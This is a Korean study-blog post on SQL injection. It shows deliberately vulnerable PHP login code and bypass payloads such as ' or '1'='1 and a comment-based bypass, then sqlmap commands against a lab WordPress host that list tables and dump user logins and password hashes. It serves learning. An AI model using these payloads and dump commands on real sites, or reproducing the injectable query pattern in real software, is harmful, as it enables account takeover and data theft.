보안 / 개발 챌린저가 목표

SQL Injection 본문

IT Security/Web hacking Study

SQL Injection

햄미은서 2020. 10. 15. 16:53

SQL Injection을 더 알고 싶다면~

hammieunseo.tistory.com/32

 

모의해킹의 이해 (2)

▶ SQL Injection  - SQL Injection 이란 ?  § 사용자의 입력 값으로 웹 사이트 SQL 쿼리가 완성되는 약점을 이용하며,  입력 값을 변조하여 비정상적인 SQL 쿼리를 조합하거나 실행하는 공격.  § 개발자�

hammieunseo.tistory.com


▶ SQL Injection

  - 가장 간단한 예

    § 문자열에 입력하는 ' (싱글 쿼테이션)

    § 주석 처리에 사용하는 - (하이픈) 기호

   ⇒ PHP에서는 ' (싱글 쿼테이션)의 취약점을 막도록 2가지 방법 지원

    ⅰ) 함수 addslashes()를 사용하여 ' (싱글 쿼테이션)기호 앞에 (\)역슬래시 추가

    ⅱ) php.ini의 magic_quotes_gpc 옵션 활성화(On)

 

▽ 인증 우회

  ① 각 PHP 페이지의 소스 코드

/* config.php */

<?php

$mysql_hostname = "localhost";
$mysql_user = "python";
$mysql_password = "python";
$mysql_database = "wordpress";
 
$bd = mysql_connect($mysql_hostname, $mysql_user, $mysql_password) or die("db connect error");
mysql_select_db($mysql_database, $bd) or die("db connect error");
  
?>
/* login.php */

<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8"> 
<title>Login Page</title>
</head>
 
<br>
<center>아이디와 패스워드를 입력해주세요</b></div>
<form action="check.php" method="post">
<label>아 이 디   :</label><input type="text" name="username" class="box"/><br>
<label>패스워드   :</label><input type="text" name="password" class="box"/><br>
<input type="submit" value="로그인"/><br/>
</center>
</form>
</body>
 
</html>
/* check.php */

<?php
 
    include("config.php");
  
	$myusername=$_POST['username']; 
	$mypassword=$_POST['password']; 

 
    $sql="SELECT user_login, user_pass, user_email FROM wp_users WHERE user_login='$myusername' and user_pass='$mypassword'";
    $result=mysql_query($sql);

?>
 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8"> <!--utf-8설정-->
<title>Login Page</title>
</head>
<?php// echo $sql; ?>
<?php
	while($str = mysql_fetch_array($result)){
		echo "
			$str[user_login],
			$str[user_pass],
			$str[user_email]<br>
		";
	}	
?>
	
</body>
 </html>

 

  ② 아이디와 패스워드를 입력하는 칸에 ' or '1'='1 를 넣어 실행시키기.

SQL Injection으로 ' (싱글 쿼테이션)을 사용
SQL Injection이 실행되어 사용자 계정이 표시

 

  ③ 결과 설명.

SQL Injection 실행된 SQL문

   - 네모친 부분이 입력 창에 입력 받은 부분.

   - wp_users 테이블에서 user_login이 참이고, user_pass가 참인 아이디와 패스워드와 이메일을 반환하라는 의미.

   ⇒ ' (싱글 쿼테이션)의 핵심 : user_login과 user_pass를 모두 참으로 하여 전체 결과를 참으로 한다는 것.

 

 

  ④ 아이디 입력 칸에 james'-- 를 입력하여 실행시키기.

  ☞ 주의할 점!

     주석 기호 뒤에 스페이스로 한 칸 띄어야 함!

     즉, 하이픈 두개에 스페이스 하나가 뒤의 구문을 주석 처리함.

 

 

결과 성공!

 

  ⑤ 결과 설명.

SQL Injection이 실행된 SQL문

   - 주석 기호 다음의 쿼리 문은 모두 주석 처리 되었음.

   - 즉, 쿼리에서 패스워드 인증을 지나치게 된 것.

 

  ⇒ 몇몇 쿼리문 입력만으로는 SQL Injection을 수행할 수 없기에 자동화된 도구를 사용. = sqlmap

▼ 기밀 데이터의 조회

  - sqlmap

    § 파이썬으로 개발된 오픈소스.

    § 사이트 url을 통하 SQL Injection 취약점을 찾음.

    § MySQL, Oracle, PostgreSQL, MS-SQL 등 다양한 DBMS를 지원.

옵션 설명
--url   단일 목표 URL을 가리킴.
--level   테스트 단계의 수준을 정해 실행하는데, 1~5까지 있으며 숫자가 높을수록 깊은 단계의 테스트 수행.
--risk   테스트의 인젝션 위험도를 의미. 0~3까지 있으며 숫자가 높을수록 위험도가 높음.
--dbms   DBMS를 지정하여 테스트하도록 강제함.
--T   DBMS의 테이블을 지정.
--columns   DBMS의 해당 테이블에 있는 칼럼을 나열.
--tables   DBMS의 테이블들을 나열.

 

  - 취약점 url을 지정함.

  - 나의 실습에는 vid가 SQL Injection이 가능한 취약점으로 설정.

 

  ① SQL Injection 기법과 명령어를 보여줌.

sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 --dbms MySQL

 

 

  ② 해당 사이트(192.168.0.132)에 어떤 테이블이 있는지 확인.

sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 --tables

  ⇒ 여기서 눈여겨볼 테이블은 마지막의 wp_users

 

 

  ③ wp_users 테이블의 칼럼들을 알아내어 확인.

sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 -T wp_users --columns

  ⇒ 여기에서 필요한 정보는 user_loginuser_pass

 

 

  ④ user_login과 user_pass의 내용을 알아내기.

sqlmap --url "http://192.168.0.132/wordpress/wp-admin/admin-ajax.php?action=rss&type=video&vid=1" --level 3 --risk 3 -T wp_users --columns -C user_login,user_pass --dump

 

'IT Security > Web hacking Study' 카테고리의 다른 글

HTML Injection  (0) 2020.11.10
Metasploit  (0) 2020.11.10
Scan  (0) 2020.10.27
LFI & RFI  (0) 2020.10.15
PHP에 대한 전반적인 이해  (0) 2020.09.12
Comments